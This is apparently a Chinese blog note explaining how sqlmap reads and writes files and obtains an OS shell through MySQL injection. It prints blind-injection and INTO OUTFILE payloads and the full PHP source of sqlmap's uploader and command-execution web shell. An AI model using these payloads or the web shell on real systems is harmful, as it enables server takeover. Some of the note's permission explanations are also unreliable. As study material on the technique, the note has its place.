权限问题
首先确保注入点的数据库连接用户有FILE权限
使用 --privileges查看
但是
就算有此权限也还有很多问题
SELINUX
因为我的服务器使用的并不是Apache的默认发布目录
所以我把SELINUX禁掉了
按理来说
SELINUX也会对这些操作有影响
mysql文件操作权限
首先说一下Linux的文件权限
chmod命令用于更改文件权限
数字法中
0 无权限 1 可执行 2 可写 4 可读
四个数字随意组合共八种
0 无权限 1 可执行 2 可写 3 可执行/可写 4 可读 5 可执行/可读 6 可写/可读 7 可执行/可写/可读
–file-read
参数是文件路径
服务器上的mysql需要对此文件有5权限(执行/读)
因为它实际执行的函数是
LOAD_FILE('/data/test.txt');
mysql有对 /data/test.txt 的5权限才可以加载
否则就算服务器管理员使用此函数也无法读出文件
–file-write 和 --file-dest
这两个是配合使用的
–file-write的参数是Kali上的完整文件路径
–file-dest的参数是服务器上的完整文件路径
服务器上mysql需要对此文件路径有3权限(可写/可执行)
而且mysql的文件导出路径不能有限制
它实际执行的函数是
... INTO OUTFILE '/asdf/sadf/sdfa.txt'
–os-shell
mysql需要对网站发布目录有3权限
以及文件导出路径无限制
实际函数上传了两个php文件,即利用tmpulujm.php上传了一个tmpbtfgo.php的文件
...INTO OUTFILE '/DocumentRoot/asdaa.php'
–file-read
payload
a' AND ORD( MID(( IFNULL( CAST( HEX(LOAD_FILE(0x2f6879) ) AS CHAR) ,0x20) ),1,1) )>66 AND 'BHHf'='BHHf
解析
0x2f6879是服务器上带完整路径的文件名
–file-write和–file-dest
payload
a' LIMIT 0,1 INTO OUTFILE '/hoasdf/sdaf/asdf.txt' LINES TERMINATED BY 0x50542079536557276967963653d68747 -- -
解析
0x5054…是上传文件的HEX内容
–os-shell
即利用tmpulujm.php上传了一个tmpbtfgo.php的文件
payload
a' LIMIT 0,1 INTO OUTFILE '/DocumentRoot/tmpuvpaa.php' LINES TERMINATED BY 0x300a696627365742f524554553545b2275706c6f6164225 -- -
解析
0x300a…是上传php文件的HEX内容
上传的两个php文件内容
a 12 <?php if (isset($_REQUEST["upload"])){ $dir=$_REQUEST["uploadDir"]; if (phpversion()<'4.1.0'){ $file=$HTTP_POST_FILES["file"]["name"]; @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die(); } else{ $file=$_FILES["file"]["name"]; @move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die(); } @chmod($dir."/".$file,0755); echo "File uploaded"; } else { echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/home/www/root/MyWebsite/> <input type=submit name=upload value=upload></form>"; } ?> <?php $c=$_REQUEST["cmd"]; @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0); $z=@ini_get('disable_functions'); if(!empty($z)){ $z=preg_replace('/[,]/',',',$z); $z=explode(',',$z); $z=array_map('trim',$z); } else{$z=array();} $c=$c." 2>&1\n"; function f($n){ global $z; return is_callable($n)and!in_array($n,$z); } if(f('system')){ ob_start(); system($c); $w=ob_get_contents(); ob_end_clean(); } elseif(f('proc_open'){ $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t); $w=NULL; while(!feof($t[1])){ $w.=fread($t[1],512); } @proc_close($y); } elseif(f('shell_exec')){ $w=shell_exec($c); } elseif(f('passthru')){ ob_start(); passthru($c); $w=ob_get_contents(); ob_end_clean(); } elseif(f('popen')){ $x=popen($c,r); $w=NULL; if(is_resource($x)){ while(!feof($x)){ $w.=fread($x,512); } } @pclose($x); } elseif(f('exec')){ $w=array(); exec($c,$w); $w=join(chr(10),$w).chr(10); } else{$w=0;} print "<pre>".$w."</pre>"; ?>
退出shell后两文件自动删除
总结
拿到os-shell的条件
- 首先你得知道网站是用什么写的。这个倒是好说,ASP/ASPX/PHP/JSP,很容易看
- 网站的发布目录。这个开发环境中应该都会更改,而不会使用默认的
比如Apache的/var/www/html,这里想说一下某些PHP程序员还有可能写完一个很有用的文件后忘记删掉了,可能叫test.php什么什么的,内容就是一句phpinfo();
找到这个里面会有很多有用的信息 - SELinux。牛逼的管理员会详细配置SELinux,菜鸡如我就只能强制关掉了,SELinux
- 会对数据库对外的操作作限制,特别是针对这种敏感的直接对发布目录进行的操作。
- 还是得好好看看SELinux啊唉
- 执行权限。上面有详细说明
- 生产环境还会有WAF等防护